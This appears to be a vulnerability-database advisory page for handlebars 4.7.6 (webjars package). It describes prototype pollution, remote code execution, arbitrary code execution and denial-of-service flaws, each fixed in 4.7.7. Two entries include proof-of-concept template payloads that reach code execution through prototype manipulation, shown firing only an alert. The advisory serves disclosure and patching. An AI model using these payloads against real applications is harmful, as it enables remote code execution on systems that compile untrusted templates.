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org.webjars.bower:handlebars@4.7.6 vulnerabilities

  • latest version

    4.7.7

  • latest non vulnerable version

    4.7.7

  • first published

    9 years ago

  • latest version published

    2 years ago

  • licenses detected

  • package manager

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Direct Vulnerabilities

Known vulnerabilities in the org.webjars.bower:handlebars package. This does not include vulnerabilities belonging to this package’s dependencies.

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Vulnerability Vulnerable Version
  • M
Prototype Pollution

org.webjars.bower:handlebars is an extension to the Mustache templating language.

Affected versions of this package are vulnerable to Prototype Pollution when selecting certain compiling options to compile templates coming from an untrusted source.

POC

<script src="https://cdn.jsdelivr.net/npm/handlebars@latest/dist/handlebars.js"></script> 
<script> 
// compile the template 

var s2 = `{{'a/.") || alert("Vulnerable Handlebars JS when compiling in compat mode'}}`; 
var template = Handlebars.compile(s2, { 
compat: true 
}); 
// execute the compiled template and print the output to the console console.log(template({})); 
</script>

How to fix Prototype Pollution?

Upgrade org.webjars.bower:handlebars to version 4.7.7 or higher.

[,4.7.7)
  • H
Remote Code Execution (RCE)

org.webjars.bower:handlebars is an extension to the Mustache templating language.

Affected versions of this package are vulnerable to Remote Code Execution (RCE) when selecting certain compiling options to compile templates coming from an untrusted source.

POC

<script src="https://cdn.jsdelivr.net/npm/handlebars@latest/dist/handlebars.js"></script> 
<script> 
// compile the template 
var s = ` 
{{#with (__lookupGetter__ "__proto__")}} 
{{#with (./constructor.getOwnPropertyDescriptor . "valueOf")}} 
{{#with ../constructor.prototype}} 
{{../../constructor.defineProperty . "hasOwnProperty" ..}} 
{{/with}} 
{{/with}} 
{{/with}} 
{{#with "constructor"}} 
{{#with split}} 
{{pop (push "alert('Vulnerable Handlebars JS when compiling in strict mode');")}} 
{{#with .}} 
{{#with (concat (lookup join (slice 0 1)))}} 
{{#each (slice 2 3)}} 
{{#with (apply 0 ../..)}} 
{{.}} 
{{/with}} 
{{/each}} 
{{/with}} 
{{/with}} 
{{/with}} 
{{/with}} 
`;
var template = Handlebars.compile(s, { 
strict: true 
}); 
// execute the compiled template and print the output to the console console.log(template({})); 
</script>

How to fix Remote Code Execution (RCE)?

Upgrade org.webjars.bower:handlebars to version 4.7.7 or higher.

[,4.7.7)
  • H
Arbitrary Code Execution

org.webjars.bower:handlebars is an extension to the Mustache templating language.

Affected versions of this package are vulnerable to Arbitrary Code Execution. The package's lookup helper doesn't validate templates correctly, allowing attackers to submit templates that execute arbitrary JavaScript in the system.

How to fix Arbitrary Code Execution?

Upgrade org.webjars.bower:handlebars to version 4.7.7 or higher.

[,4.7.7)
  • H
Denial of Service (DoS)

org.webjars.bower:handlebars is an extension to the Mustache templating language.

Affected versions of this package are vulnerable to Denial of Service (DoS). The package's parser may be forced into an endless loop while processing specially-crafted templates, which may allow attackers to exhaust system resources leading to Denial of Service.

How to fix Denial of Service (DoS)?

Upgrade org.webjars.bower:handlebars to version 4.7.7 or higher.

[,4.7.7)
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